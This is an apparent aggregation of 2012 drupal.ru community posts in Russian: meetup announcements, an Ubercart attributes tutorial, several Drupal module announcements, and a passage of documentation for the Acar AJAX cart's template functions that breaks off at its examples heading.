Спасибо!

Attached poll “Дайте совет автору ”.
Register or login to poll
Results:
пеши исчо!: 19 голосов
проще засунуть это в тему!: 0 голосов
давай, до свидания!: 3 голоса

Источник: http://www.drupal.ru/node/84860

Второе Друпал-кафе в Алматы!

Привет, алматинские друпаллеры!

Собираем уже второе Друпал-кафе в нашем городе!
На этот раз помимо знакомства, деления идеями и совместной трапезы у нас будет:

1. Валентина “Geldora” Боровая поделится с нами опытом о том, как работать с Drush!
2. И Виктор организует спринт-код по разработке одного из наиболее востребованных модулей для друпаллеров Казахстана.

Время: в 16:00 в Вск, 22 июля 2012.
Место: Проходить мастер-классы будут в социальном клубе “Баттлер”.
Он находится на ул. Фурманова 193, выше пр. Абая, ниже ул. Сатпаева, выше Французского дома, под магазином Монами.

Детали и обсуждение здесь.

Источник: http://www.drupal.ru/node/84772

[УРОК] Создаём товары атрибутами и учим правильно считать

Создание атрибутов товара в UberCart 3

Задача: создать товар, стоимость которого в зависимости от атрибутов будет меняться в ту или другую сторону.

Нам понадобится:
- Drupal 7
- Ubercart 3.1
– включённый под-модуль uc_attribute

Термины и определения
Класс товаров – товары, объединённые в одну смысловую группу.
Атрибут – свойство товара
Опция атрибута – состояние, которое может принимать атрибут

Описание проекта.
У нас есть небольшой сайт, торгующий пепелацами. Пепелац в базовой комплектации стоит 1000 у.е. Запас гравицапы на день, неделю или месяц 500/700/1000 у.е. соответственно Скрипач умеющий играть или нет 300/500 у.е. Пачка КЦ 750 у.е. и доп-опция – выбить у пепелаца окно или два, что снизит стоимость на 300/500 у.е.

Реализация
Создадим класс товаров «пепелац» идём admin/store/products/classes и заполняем там форму

Теперь создадим атрибут «гравицапа». Идём в управление атрибутами (для этого нам и понадобился включенный под-модуль) admin/store/products/attributes и жмём «Add an attribute» admin/store/products/attributes/add
Создадим атрибут гравицапы

А теперь добавим опции для этого атрибута.

Что должно получиться

Аналогично со скрипачом.

Теперь разберёмся с выбитыми окнами

Обратите внимание на отрицательную цифру, это снижает итоговую стоимость и даёт ту самую скидку.

И в итоге

Теперь включим опцию свойства товаров, для показа итоговой цены с учётом атрибутов. Идём admin/store/settings/products пункт «Atrtribute settinngs» и устанавливам переклюк на «Display total price»

Теперь, когда мы создали класс товара и необходимые атрибуты и опции к ним, нам необходимо всё это связать. Переходим в управление классами товара admin/store/products/classes и в редактирование нашего класса «пепелац» admin/store/products/classes/pepelac/edit перейдём на вкладку атрибуты admin/store/products/classes/pepelac/attributes и добавим атрибуты для этого класса admin/store/products/classes/pepelac/attributes/add

Не обращайте внимания на то, что не отмечено галками, это от другого проекта

Теперь переходим в создать материал и добавляем пепелац
Вот, что у нас получилось на выходе

И в корзине

Посчитаем
Базовая стоимость 2000 минус 300 за одно выбитое окно плюс 1000 месячный запас гравицапы и плюс скрипач без музыкального слуха за 300. Итого 3000.
Получите, распишитесь.

Спасибо за внимание.

Источник: http://www.drupal.ru/node/84707

Заказ в один клик с помощью комментариев

Процесс заказа в Уберкарт многие считают слишком сложным.
Для его упрощения придумал использовать комментарии как форму заказа товара.

Что делаем:

1. К комментарию добавляем текстовые поля “Количество товара”, “Телефон”, “ФИО” (покупателя). В D6 через модуль  nodecomment, D7 – в ядре.

2. На странице товара темизируем кнопку “Добавить комментарий”, как “Быстрый заказ”. Хотя можно и через перевод интерфейса

3. Сами комментарии делаем по умолчанию не опубликованными, чтобы пользователь мог их оставлять, но не мог видеть. С помощью Rules можно настроить, чтобы покупателю, после заказа-комментария выдавалась информация типа “спасибо за заказ, мы вам перезвоним”. Ну и чтобы админу на почту приходила инфа о новых комментариях.

4. Все комментарии-заказы сводим на одну страницу для админа.

Это все (!) что делал я на момент поста.

Что можно еще сделать:

* Вывести создание комментария-заказа в всплывающее окно.

* Добавить разные статусы заказа через селект лист.

* Может быть и калькуляцию стоимости заказа в зависимости от количества прикрутить. Главное как-то передать значение цены родительской ноды.

В общем ограничено только фантазией разработчика.

Источник: http://www.drupal.ru/node/84512

Модуль {syntaxhighlighter} to PRE Converter

Выложил для общего пользования модуль для замены {syntaxhighlighter} тега на <pre> в нодах.

Такая замена может понадобиться при апгрейде Drupal 6 сайта, в котором используется Syntax highlighter модуль, до Drupal 7.

Далее подробности..

Когда я обновлял свой сайт до Drupal 7, столкнулся с тем, что 7-ая ветка модуля Syntax highlighter не подсвечивала примеры кода, которые были включены в мои статьи.

Syntax highlighter в Drupal 6 поддерживал 2 вида тегов:

HTML тег <pre>
<pre class=”SYNTAXHIGHLIGHTER-OPTIONS”>
program code

</pre> Специальный тег {syntaxhighlighter}
{syntaxhighlighter SYNTAXHIGHLIGHTER-OPTIONS}
program code

{/syntaxhighlighter}

Дело в том, что ранее я использовал {syntaxhighlighter} тег, но в Drupal 7 он не поддерживается модулем Syntax highlighter.

Пришлось своим скриптом конвертировать старые теги на <pre> с сохранением всех атрибутов, таких как: язык программирования, размер шрифта и других.

В процессе работы над этой задачей был создан довольно простой модуль {syntaxhighlighter} to PRE Converter, который, на мой взгляд, может быть полезен сообществу.

Пользуйтесь на здоровье и оставляйте комментарии.

Источник: http://www.drupal.ru/node/84358

Первое ‘Drupal-cafe’ в Алматы! : )

Поскольку на Друпал.ру тусуется немало друпаллеров из Казахстана, думаю, это объявление будет уместным и здесь

Мы задумали собраться, познакомиться, поделиться идеями и поговорить о сообществе Друпал в Казахстане.
Приглашаются все друпаллеры от начинающих до маэстро!

Формат встречи не официальный.
Дата и время: 07/07/2012 – 16:00.
Место: ресторан “Дастархан” на Наурызбай Батыра 122/124 (угол Шевченко), г. Алматы.

Детали здесь.

Источник: http://www.drupal.ru/node/83906

Видео-курс по Представлениям (Views)

Недавно закончил очередной видео-курс для начинающих друпаллеров, в этот раз – по модулю Представления (Views).
Добро пожаловать, как говорится: http://podrupalim.com/kursy ))

Источник: http://www.drupal.ru/node/83872

Модуль Simple Search

Доброе время суток, уважаемое сообщество!

Хочу поделиться своей разработкой. Я прошерстил http://drupal.org/project/modules и пользовался поиском на этом сайте, но ничего подобного не нашел. Надеюсь я не изобрел велосипед.

Не секрет, что стандартный поиск в Drupal 7 имеет много недостатков, например он не умеет искать по части слова. Если я хочу найти упоминание о постановлениях (постановление, постановления) и напишу постановлени, то стандартный поиск не найдет ничего! Если написать просто Пост, то стандартный поиск также не найдет ничего связанного с постановлениями. Исходя из этого и было принято решение написать свой модуль поиска. Его достоинства это:

Поиск по любой части слова Поиск по заголовкам материалов Поиск по содержимому материалов Поиск по именам прикрепленных файлов Наличие блока поиска Простота и минимализм (для сравнения: код модуля search около 210кб, код моего модуля – 11 кб, функционал практически идентичный)

Из недостатков стоит отметить:

Отсутствие прав доступа (искать на сайте могут все) Отсутствие темизации Поиск НЕиндексируемый, ищет прямо в базе. На моем сайте, где ~2000 нод, ~1000 файлов поиск занимает меньше секунды При использовании Simple Search нужно отключать стандартный модуль Search

Если Вас привлек этот модуль, прошу принять участие в его тестировании и поиске возможных ошибок
Также хотелось бы добавить, что я не гуру PHP, поэтому прошу знающих людей прошерстить код и показать какие участки можно оптимизировать.

Прикрепленный файл Размер simplesearch.tgz 3.41 кб

Источник: http://www.drupal.ru/node/83705

Ajax Nodeloader (D6, D7) – модуль для загрузки материалов с помощью AJAX

Модуль Ajax Nodeloader позволит вам:

Загружать и показывать страницы Drupal (node) с помощью AJAX Использовать произвольные css-селекторы для отображения вашего контента (title, body и т.д.) Загружать и отображать любые поля (node fields) для Drupal 7 Отслеживать посещения ваших AJAX-ссылок с помощью Google Analyitcs (требуется установленный Google Analytics) (опция) Использовать расширенную навигацию на основе HTML5 history API или хэш-тэгах (для устаревших браузеров) (опция) Динамически изменять заголовок браузера (опция)

2. Частые вопросы по использованию модуля.

Домашняя страница: http://www.denry.ru/drupal-ajax-nodeloader/
Частые вопросы: http://www.denry.ru/programmirovanie/662-ajax-nodeloader-f-a-q-ru/

3. Загрузка

Существует несколько способов скачать этот модуль:

1. Скачать файлы .zip с github.com

7.x-1.x.zip

6.x-1.x.zip

2. или клонировать исходный код модуля с drupal.org

Версия для Drupal 7:

git clone –branch 7.x-1.x http://git.drupal.org/sandbox/nick-denry/1447152.git ajax_nodeloader
cd ajax_nodeloader

Версия для Drupal 6:

git clone –branch 6.x-1.x http://git.drupal.org/sandbox/nick-denry/1447152.git ajax_nodeloader
cd ajax_nodeloader

или github.com

git://github.com/nick-denry/Ajax-Nodeloader.git

Внимание! Ajax Nodeloader — это проект с открытым исходным кодом, однако в настоящий момент код является экспериментальным и проходит проверку на drupal.org (en).

AJAX nodeloader на drupal.org:
http://drupal.org/sandbox/nick-denry/1447152

AJAX nodeloader на github.com:
https://github.com/nick-denry/Ajax-Nodeloader

В настоящее время модуль получил статус “reviewed & tested by the community”, но пока все еще явяется экспериментальным.

Источник: http://www.drupal.ru/node/83485

[модуль] по созданию хлебных крошек для любых страниц в Drupal 7

Вчера закончил работу над модулем, который позволяет создавать хлебные крошки очень гибким образом и для любых страниц. Фактически, он заменяет набор из ранее созданных модулей под Drupal 7, которые в своей связке кое-как позволяют строить навигационные линейки.

Почему надо использовать именно мой модуль:

1. Можно добавлять статическую страницу и задать хлебные крошки только для неё.

2. Можно добавить динамическую страницу (например, node/%node). В этом случае в навигационных ссылках можно будет использовать токены для замены.

3. Модуль не привязан ни к нодам, ни к вьюсам, ни к панелям и т.д. (в отличие от других модулей для хлебных крошек). Всё, что ему необходимо – это URL, на котором будет выведены навигационная линейка.

4. Имеются правила показа хлебных крошек. Это значит, что для одной и той же страницы могут показываться разные хлебные крошки! Например, можно показать одну навигацинную линейку для анонимов, а другую – для остальных пользователей. Если же взять пример для материалов – то можно показывать хлебные крошки в зависимости от типа материала, его статуса, значений полей и многого другого.

5. Есть возможность отключить хлебные крошки для любой страницы и включить их позже.

6. Поддержка мультиязычности: все заголовки хлебных крошек можно перевести.

7. Возможность указать хлебную крошку без ссылки (т.е. просто текстовую).

8. Удобный интерфейс.

9. Теперь все хлебные крошки хранятся в одном месте и действительно работают.

Почитать более подробно и со скриншотами можно у меня в блоге. Ссылка на сам модуль –  Path breadcrumbs.

Источник: http://www.drupal.ru/node/82925

Paste Format – чистка вставляемого текста

По следам успеха модуля uLogin (3 месяца после создания – 500+ сайтов используют на данный момент), про который я уже рассказывал на страницах drupal.ru, хочу рассказать о другом проджекте, который направлен лицом к пользователям – Paste Format.

Модуль решает проблему копирования/вставки текста из всяких “умных” источников (продукты от MS, с других сайтов, ещё откуда-то с “продвинутым” форматированием) – а именно проблему того, что копируется и вставляется различный “мусор”, который вам совсем не нужен в вашем контенте и, кроме этого, ломает ваши шрифты и стили. Да, при отображении контента это всё можно вырезать, используя формат ввода с нужными фильтрами; НО при этом весь этот мусор сохраняется в БД, подгружается при редактировании контента, ломает стили отображения текста в вашем визуальном редакторе, ваши авторы придумывают мифы и другую “ахинею”, что вот при редактировании текст такой, а при отображении все ломается, сайт глючит и так далее. На что тех персонал им обычно отвечает, что вы сами мол “уроды”, копируете текст хз откуда, вы должны писать его сразу в визуальном редакторе на сайте или вставлять через спец кнопочку, которая убивает все форматирование… или вообще включает принудительную чистку форматирования при вставке. В общем, ситуация не из приятных

Именно для решения этой проблемы и был написан модуль Paste Format (сейчас работает только в тандеме с CKEditor, как через отдельный модуль для этого редактора, так и через модуль WYSIWYG). Он позволяет отфильтровать вставляемый текст одним из форматов ввода, настроенном на вашем сайте в админке Друпала. То есть никаких регэкспов вам писать не надо, тем более на джаваскрипте

Установка проста – скачать, распаковать, включить. Создать _отдельный_ формат ввода, в котором включить и настроить фильтры, которые будут вычищать ненужный вам маркап (здесь на помощь придут модули WYSIWYG Filter, HTML Purifier, htmLawed и другие) – и настроить Paste Format использовать именно его (иначе будет использоваться формат ввода по умолчанию). Раздать пермишен на использование этого модуля тем ролям, которые создают/редактируют контент на сайте (этот пермишен защищает аяксовый колбек, который и производит фильтрацию вставляемого текста). Включить плагин Paste Format в нужных профилях редактора CKEditor.

Технически модуль вешается на событие вставки текста в визуальный редактор, посылает этот текст на сервер и вставляет уже обработанный текст. При этом вы сами управляете тем, какой маркап оставлять, а какой вычищать – просто настраивая фильтры обработки текста в админке Друпала.

Надеюсь, я ясно изложил позицию, для чего именно и почему был написан такой модуль (и в комментариях не будет разводиться флейм, что вот у CKEditor есть своя собственная чистка при вставке и так далее – на это могу сказать, что вы сами не контролируете, что именно и как вычищает CKEditor (и по моему опыту он может что-то оставлять, убирая что-то нужное – а поправить это я не могу ); а с этим модулем все находится под вашим полным контролем).
Также надеюсь, что данный модуль поможет улучшить юзер экспириенс авторов контента и отношения между ними и разработчиками/администраторами сайта.

Спасибо!

Источник: http://www.drupal.ru/node/82923

Модуль оплаты RBK Money для Drupal Commerce

Предлагаю к тестированию модуль оплаты RBK Money для Drupal Commerce. Инструкция по настройке в архиве, отзывы и предложения приветствуются.

Прикрепленный файл Размер commerce_rbkmoney.zip 13.38 кб

Источник: http://www.drupal.ru/node/82880

Руководство пользователя по работе в админке drupal 7


Здравствуйте, уважаемое сообщество.
Нами подготовлено Руководство пользователя по работе в админке drupal 7, мануал в виде серии уроков именно для владельца сайта, которому нужно овладеть приемами управления его сайтом на седьмой версии drupal.
Надеемся оно будет полезно и будущим и теперешним владельцам сайтов на данной отличной CMS а также веб-мастерам, которые заинтересованы в том, чтобы их клиенты научились самостоятельно решать тривиальные админские задачи.

Источник: http://www.drupal.ru/node/82391

[Модуль] для создания сложных expose фильтров для Drupal 7

Модуль чтобы строить фильтры типа:

как пользоваться тут

Прикрепленный файл Размер advanced_filter.zip 3.17 кб

Источник: http://www.drupal.ru/node/81885

PhPStorm 4 стал поддерживать Drupal’овский стиль кода из коробки

Мелочь, а приятно черт возьми =)

Ссылка на офф. сайт

Источник: http://www.drupal.ru/node/81772

DrupalCafé №5 в Харькове – 24.05.2012

Опять четверг, опять кафе.

В четверг, 24 мая, в 19:00, в Харькове пройдет пятое DrupalCafe.
На этот раз мы сменили место проведения, мероприятие пройдет по адресу ул. Маломясницкая, д 9/11, Академия “Шаг”. (станция метро “Проспект Гагарина”).
Карта

Темы докладов:

1. “Знакомство с модулем Views” (Алексей Гайдабура, WDG)
- Архитектура Views.
- Основы работы с Views.
- Для чего нужны CONTEXTUAL FILTERS и RELATIONSHIPS.
- Разное, непонятное.
Презентация – http://www.slideshare.net/nobodynone/dc-5-views-13071790

2. “Form API в Drupal 7. “Вкусности” и “красоты” (Дмитрий Олареско, WDG)
Данная тема познакомит Вас с особенностями Form API в Drupal 7. Расскажет о нововведениях и интересных приемах, которые могут пригодится как начинающему так и опытному программисту.
Презентация – http://www.slideshare.net/ssuser876ff0/drupal-cafe-5-drupal-7-form-api

3. “Секция-Вопросы&Ответы.”
В этот раз третий слот посвящен любым вопросам от посетителей. Вопросы можно прикреплять в комментариях, либо присылать на контактный e-mail.

Участие бесплатное, в программе как обычно, вкусные угощения – кофе, чай, блекджек, cookies.
Желательно предварительная регистрация, всем желающим – отпишите в комментарии или в контакты ниже.
Регистрация по ссылке

По всем вопросам можно обращаться:
+38(099)35-25-316 – Алексей Гайдабура, gaydabura@gmail.com skype: alexey.gaydabura
Спонсор по прежнему – WDG (http://wdg-company.com/)

Attached poll “Как Вы оцените свой уровень знания Drupal?”.
Register or login to poll
Results:
Новичек: 4 голоса
Уверенный пользователь: 6 голосов
Пишу модули: 6 голосов
Гуру: 2 голоса
Ниндзя: 2 голоса

Источник: http://www.drupal.ru/node/81588

Процесс создания темы для D7 адаптируемой к разным разрешениям


На сайте CMS Magazine перевод статьи “Create a responsive Drupal theme” о создании темы оформления для D7 адаптируемой к разным разрешениям экрана. По-моему полезная статья. Отдельное спасибо сотрудникам CMS Magazine за адекватный перевод.

Ссылка на перевод статьи: http://www.cmsmagazine.ru/library/items/cms/create-responsive-drupal-theme/

Источник: http://www.drupal.ru/node/81409

Drupal Cafe’2012 в Москве. Май, вторая встреча

Итак, настала пора планировать следующее мероприятие.

Ориентировочно пройдет оно в том же помещении, что и первая встреча – антикафе Бабочки.
По датам предварительно ориентируюсь – 16, 17, 23 или 24 мая (дату еще корректирую в зависимости в том числе и от ваших замечаний).
По времени с 19 до 23.

Темы для обсуждения выложу чуть позже, если предложите что-то интересное – велкам!

Источник: http://www.drupal.ru/node/80987

Acar – AJAX cart for Ubercart

сайт временно недоступен…

закачка внизу…

Введение.

Модуль Acar позволяет манипулировать содержимым корзины ubercart. Это всевозможные поля и кнопки, для отображения и изменения параметров, помещенных в корзину продуктов.
Все манипуляции, над содержимым корзины осуществляются мгновенно, согласованно с сервером через AJAX. Без перезагрузки страницы.
В отличии, от стандартной корзины ubercart, мы не ограничены одной формой корзины, на её странице. С помощью Acar, можно создать сколько угодно, форм корзины, где угодно, в любом месте документа.
Acar корзину можно темизировать. Придавая ей, уникальный вид, по всем правилам html. Тем самым реализуя, любые дизайнерские задумки.

Использование.

Для работы модуля Acar, необходим модуль Mvca. Этот модуль является отдельным проектом, и реализует собой MVC паттерн. Скачать оба модуля можно с официального сайта Acar корзины.
Сразу после установки, форма корзины, доступна в двух местах. На своей собственной странице /acar. И на стандартной странице корзины ubercart, в виде дополнительной панели. Настроить панели, можно в настройках ubercart /admin/store/settings/cart/panes. Обе эти формы темизируется шаблоном из файла acar_pane.tpl.php.
Ещё одна форма корзины доступна как блок. Который необходимо предварительно активировать. А темизируется она, шаблоном из файла acar_bloc.tpl.php.
Для добавления продукта в корзину, со страницы продукта, а так же со страницы каталога имеются специальные field и views поля: “Acar – Form add product to cart”. Позволяющие создать форму добавления. Для этих полей в настройках, необходимо самостоятельно указывать используемый файл шаблона. Он может быть любым, но по идеи это должены быть файлы acar_adde.tpl.php для field поля, и acar_view.tpl.php для views поля. Для управления field полями в типе материала необходимо включить модуль Field UI.
Поиск файлов шаблонов, осуществляется в каталоге текущей темы оформления. Если какой либо из них, там отсутствует, то берётся файл шаблона с тем же именем из каталога модуля Acar.
В модуле Acar, в каталоге samples, вы можете найти несколько образцов шаблонов. Чтобы приступить к темизации Acar корзины, нужно скопировать файлы шаблонов, в каталог темы оформления, вместе со всеми прилагаемыми к ним файлами картинок и стилей. И уже там, изменяя их, придавать корзине требуемый вид.

Темизация.

Файл шаблона, темизирующий форму корзины или форму добавления, представляет из себя, самый обыкновенный html. Где внутри скриптовых элементов, размещается html код шаблонов, в целом и отвечающих за темизацию.
А именно, это так называемый шаблон список <script class="$lis" type="text">, и шаблон пункт <script class="$ite" type="text">. На основе этих шаблонов конструируется форма корзины или форма добавления.
Шаблон список – это шаблон своего рода ёмкости для продуктов, и необходим исключительно для формы корзины. В то время как шаблон пункт – это шаблон отдельного продукта, и применяется как для формы корзины, так и для формы добавления.
При темизации формы корзины, что бы было понятно, в какой именно элемент корзины вставлять продукты, этот самый элемент, в шаблоне список, следует пометить классом $$par. Однако если требуется вставлять продукты не внутрь элемента, а перед каким либо элементом, то такой элемент следует пометить классом $$chi.
Для наделения, какого либо элемента способностью отображать или изменять параметры продукта или корзины, этот самый элемент необходимо оснастить соответствующим функционалом. Осуществляется это за счет передачи через атрибут class функционала, который необходимо внедрить в элемент.
Оформляется подобное внедрение внутри атрибута class, следующим образом:
@fun(arg0,arg1,arg2,...)
В начале, символ ‘@’, далее идентификатор функции, после него, в скобках перечисляются аргументы. Избегайте использования пробелов, вместо них лучше использовать юникод пробел ‘\u0020′.
Например, следующий input элемент, размещённый в шаблоне пункта, при помощи функции qty, позволит отображать и изменять количество продукта.
<input class="@qty(true)" type="text"/>
Эту функцию, как и любую другую, можно применить к любому элементу, например к div. Количество продукта будет так же отображаться, но изменить его, по понятным причинам уже не получится.
<div class="@qty(true)"></div>
Для отображения и изменения параметров корзины или продукта, предоставлено множество функций. В один элемент может быть внедрено сразу несколько функций, однако будьте внимательны, комбинации некоторых функций могут перекрывать работу друг друга, хотя и не вызовут ошибок.

Функции.

Функция img.
@img(exe = true) <span></span> $ite
Выводит изображение продукта.
exe – Условие использования*.
Функция tit.
@tit(exe = true) <a></a> $ite
Отображает название продукта как ссылку.
exe – Условие использования*.
Функция qty.
@qty(exe = true) <input type="text"/> $ite
Отображает и изменяет количество продукта.
exe – Условие использования*.
Для формы добавления, эта функции позволяет не просто изменить количество продукта, но и добавить или удалить продукт из корзины.
Функция qtc.
@qtc(exe = true, qtc = 1) <input type="button"/> $ite
Изменяет количество продукта при щелчке, на определенную величину.
exe – Условие использования*.

qtc – Величина на которую следует менять количество продукта.
Применяется, как правило, к элементу кнопки. Для формы добавления, эта функция не просто изменяет количество, но и когда это имеет смысл, добавляет или удаляет продукт из корзины.
Особенностью данной функции, как и некоторых других предназначенных специально для кнопок, является обработка события нажатия. При котором фоновое изображение, сдвигается вниз и вправо на 1 пиксель, когда кнопка нажата.
Функция pri.
@pri(exe = true, sig = false, frm = false) <input type="text" readonly/> $ite
Отображает стоимость одного экземпляра продукта.
exe – Условие использования*.

sig – Знак валюты*.

frm – Формат числа*.
Функция tot.
@tot(exe = true, sig = false, frm = false) <input type="text" readonly/> $ite
Отображает стоимость количества продукта.
exe – Условие использования*.

sig – Знак валюты*.

frm – Формат числа*.
Функция abs.
@abs(exe = true, sig = false, frm = false) <input type="text" readonly/> $ite $lis
Отображает общую стоимость всего содержимого корзины.
exe – Условие использования*.

sig – Знак валюты*.

frm – Формат числа*.
Эта функция может быть использована как в шаблоне пункт, так и в шаблоне список, так как её работа никак не связана с каким-то конкретным продуктом.
Функция tra.
@tra(exe = true, tra = undefined) <input type="button"/> $ite $lis
Осуществляет переход при щелчке, на страницу продукта или по указанному адресу.
exe – Условие использования*.

tra – Адрес для перехода.
Если адрес для перехода не указан, переход осуществляется на страницу продукта.
Прежде чем выполнить переход функция ожидает завершения всех текущих операций, добавления, удаления, и изменения, запущенных до данной функции. И только после этого осуществляется переход на другую страницу.
Если к элементу применяется несколько функций, эту функцию очень важно размещать последней. Иначе переход может осуществиться, а последующие функции просто не успеют сделать свою работу.
Функция atr.
@atr(exe = true, cla = Acar.Atri.Atri, sty = undefined) <span></span> $ite
Выводит атрибуты продукта.
exe – Условие использования*.

cla – Класс, определяет способ вывода атрибутов.

sty – Стиль*, применяемый к атрибутам.
Используется в форме добавления, для настройки атрибутов добавляемого продукта, а в форме корзины для изменения атрибутов продукта. Так же позволяет просто отображать значение атрибутов в виде списка. Определяется это классом.
Доступно два класса:
Acar.Atri.Atri – Позволяет настраивать атрибуты, так же как и в стандартной форме добавления.

Acar.Atri.Imge – Выводит описание значений атрибутов в виде списка.
Стиль, применяемый к атрибутам, устанавливает для элементов составляющих атрибуты значение их css-стиля, класса, и атрибутов. Тем самым, позволяя темизировать атрибуты.
Для обоих классов имеется соответствующий каждому стандартный стиль. И если не указывать какой-то конкретный стиль, к атрибутам будет применён стандартный стиль соответствующий классу.
Стили для класса Acar.Atri.Atri:
Acar.Atri.Atri.Sty.Def – Стандартный стиль, используется по умолчанию.
Стиль для класса Acar.Atri.Imge:
Acar.Atri.Imge.Sty.Def – Стандартный стиль, используется по умолчанию.

Acar.Atri.Imge.Sty.Min – Красивый стиль с мелкими буквами.
Функция sty.
@sty(exe = true, sty) <div></div> $ite $lis
Накладывает на элемент указанный стиль.
exe – Условие использования*.

sty – Стиль* применяемый к элементу.
Функция dis.
@dis(exe = true) <div></div> $ite $lis
Позволяет если нужно скрывать или отображать элемент, в зависимости от условия использования.
exe – Условие использования*.
Если условие использование истинно элемент отображается, так же как и всегда. Если же ложно, элемент скрывается. Отображение и скрытие элемента осуществляется за счет изменения css свойства display.
Это может быть очень полезно, если необходимо отображать те или иные html блоки в зависимости от значения, каких либо параметров.
Конечно, аналогичную работу можно было бы организовать и при помощи функции @sty, однако индивидуальная функция для такой полезной работы куда более актуальна.
Примеры:
Отобразить надпись если у продукта есть атрибуты.
<div class="@dis('atr')">У этого продукта есть атрибуты!!!</div>
Отображение надписи говорящей о том есть ли в корзине текущий продукт. Подобную конструкцию имеет смыслы использовать в форме добавления. Каждый раз при добавлении или удалении продукта надпись будет меняться.

<div class="@dis('inc')">Продукт добавлен в корзину.</div> <div class="@dis('exc')">Продукт отсутствует в корзине.</div>

Функция con.
@con(exe = true, exp, obj = undefined) <span></span> $ite $lis
Выполняет javascript выражение, и результат его работы устанавливает для элемента как контент (textContent).
exe – Условие использования*.

exp – Javascript выражение.

obj – Область видимости.
Позволяет выполнить любой javascript код, результат работы которого будет установлен для элемента как контент, методом textContent. Если это input элемент, будет установлено значение атрибута value.
Благодаря области видимости obj, можно установить в рамках какого объекта, будет исполняться указанный javascript. Что осуществляется при помощи инструкции with.
Передавая в качестве области видимости null, javascript код исполняется в рамках объекта window, т.е. стандартным образом.
Если не указывать область видимости, в качестве неё будет использован объект ресурсов соответствующий текущему продукту или корзине, что зависит от шаблона $ite или $lis.
Это позволяет вывести значение любого ресурса.
Функция htm.
@htm(exe = true, exp, obj = undefined) <div></div> $ite $lis
Выполняет javascript выражение, и применяет результат его работы к элементу как html (innerHTML).
exe – Условие использования*.

exp – Javascript выражение.

obj – Область видимости.
Эта функция работает аналогично функции @con, с той лишь разницей, что позволяет установить html, для элемента методом innerHTML.
*Условие использования.
Аргумент условие использования, передается абсолютно во всех функциях. С его помощью, можно настроить при каких обстоятельствах следует внедрять функцию в элемент.
Это либо логическое значение. Либо строка содержащая в себе javascript выражение. Результат работы которого и определяет следует ли применять к элементу данную функцию.
Исполняется подобный javascript, в области видимости текущего вида, из которого доступны следующие переменные булевого типа:
add – Истинно если это форма добавления.

car – Истинно если это форма корзины.

inc – Подтверждает наличие продукта в корзине.

exc – Подтверждает отсутствие продукта в корзине.

atr – Подтверждает наличие у продукта атрибутов.
Но если строка javascript выражения заканчивается символом ‘;’, то этот самый javascript исполняется в области видимости объекта ресурса, соответствующего текущему продукту или корзине.
Это очень удобно так как позволяет в зависимости от наличия, отсутствия, или значения того или иного ресурса, применять или не применять функцию к элементу.
Примеры:
Что бы в форме добавления, элемент имел различную раскраску в зависимости, от наличия продукта в корзине, нужно использовать две функции @sty, каждая из которых срабатывает при различных обстоятельствах.
<div class="@sty('inc','background:#faa;') @sty('exc','background:#05f;')">***</div>
Вывод надписи в зависимости от значения ресурса, в данном случаи если цена больше 50. Обратите внимание, здесь аргумент условие использования заканчивается символом ‘;’, благодаря чему выражение просчитывается в области видимости объекта ресурсов.
<div class="@con('Pri>50;','\'Этот_продукт_дороже_50\'',null)></div>
*Знак валюты.
Аргумент знак валюты используется в функциях вывода стоимости.
Если это false знак валюты не выводится, если true выводится знак валюты настроенный в ubercart.
Если же, в качестве знака валюты передается массив. То первый аргумент определяет собственно знак валюты в виде строки, а второй аргумент его расположение, в виде логического значения, слева или справа, от цены.
Примеры:
Вывод общей стоимости всех продуктов, без знака валюты.
<input class="@abs(true,false,false)" readonly/>
Со знаком валюты настроенным в ubercart.
<input class="@abs(true,true,false)" readonly/>
Наш вариант, где знак валюты ‘Руб.’ и расположен он справа от цены.
<input class="@abs(true,[\'Руб.\',true],false)" readonly/>
Сам по себе знак волюты можно достать из ресурсов корзины, из свойства Acar.Reso.Lis.Cur.Sig. А что бы его вывести, можно воспользоваться функцией @con.
<span class="@con(true,Acar.Reso.Lis.Cur.Sig,null)"></span>
*Формат числа.
Аргумент формат числа, применяется в функциях вывода стоимости чего либо.
Если это false, выводится число как есть, без всякой обработки, если true, используется формат, установленный в настройках ubercart.
Передавая массив, мы можем определить свой собственный формат числа. Первый аргумент задает количество десятичных знаков. Второй аргумент десятичный разделитель. Третий аргумент разделитель тысяч.
*Стиль
Некоторые функции используют в качестве аргумента, так называемый стиль. При помощи которого, для элемента и его потомков, можно установить значение класса, стиля, и атрибутов. Следует понимать, что стиль применяется уже после того как элемент создан.
Способы передачи стиля: класс, стиль, атрибуты.
• Класс.
Строка содержащая название класса.
<div class="@sty(true,'classname')">...</div>
• Стиль.
Строка содержащая css стиль. Должна обязательно заканчиваться символом ‘;’.
<div class="@sty(true,'background:#ffaa00;')">...</div>
• Атрибуты.
Объект, каждое из свойств которого соответствует атрибуту.
<a class="@sty(true,{href:'http://www.drupal.ru'}>LINK</a>
Данным способом можно установить любой атрибут элемента. Атрибут передается в виде строки.
Что бы обеспечить гибкость, имеется несколько уникальных дублирующих свойств:
$Typ – Соответствует атрибуту type.

$Nam – Соответствует атрибуту name.

$Cla – Соответствует атрибуту class (className).

$Sty – Соответствует атрибуту style (style.cssText).
Для применения стиля к дочерним элементам, предназначено свойство $Chi. Представляющие собой массив стилей. Каждый из них применяется, в зависимости от его порядка, с периодичностью по кругу, к соответствующему дочернему элементу.
Благодаря тому что стили применяются с периодичностью по кругу. Дочерние элементы, можно раскрасить разными “цветами”, в зависимости от порядка элемента, например “четный/нечетный”.
<div class="@sty(true,{$Chi:['black','white']})"><p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p></div>

Объект ресурсов.

Для каждого отдельного продукта, а так же для корзины имеется свой собственный объект ресурсов. Хранящий в себе, всю необходимую информацию о продукте или корзине.
Именно поэтому функции @con и @htm по умолчанию, исполняют javascript выражение в области видимости объекта ресурсов.
Acar.Reso.Lis – Объект ресурсов корзины.

Acar.Reso.Ite – Объект содержащий в себе объекты ресурсов продуктов.
Объект ресурсов корзины:
Cur – Информация о знаке валюты.

Cur.Sig – Знак валюты.

Cur.Aft – Расположение знака валюты, слева или справа, булево значение.

Cur.Pre – Число десятичных знаков после запятой.

Cur.Dec – Десятичный разделитель, обычно точка.

Cur.Tho – Разделитель тысяч, обычно запятая.

Csh – Информация для перехода на страницу продолжения покупок.

Csh.Tex – Текст ссылки перехода на страницу продолжения покупок.

Csh.Url – Адрес страницы продолжения покупок.
Объект ресурсов продукта:
Nid – Идентификатор продукта.

Tit – Название продукта.

Pri – Стоимость продукта (изначальная, без учета атрибутов).

Img – Картинка продукта (строка в виде html).

Atr – Атрибуты продукта (внутренний формат).
Примеры:
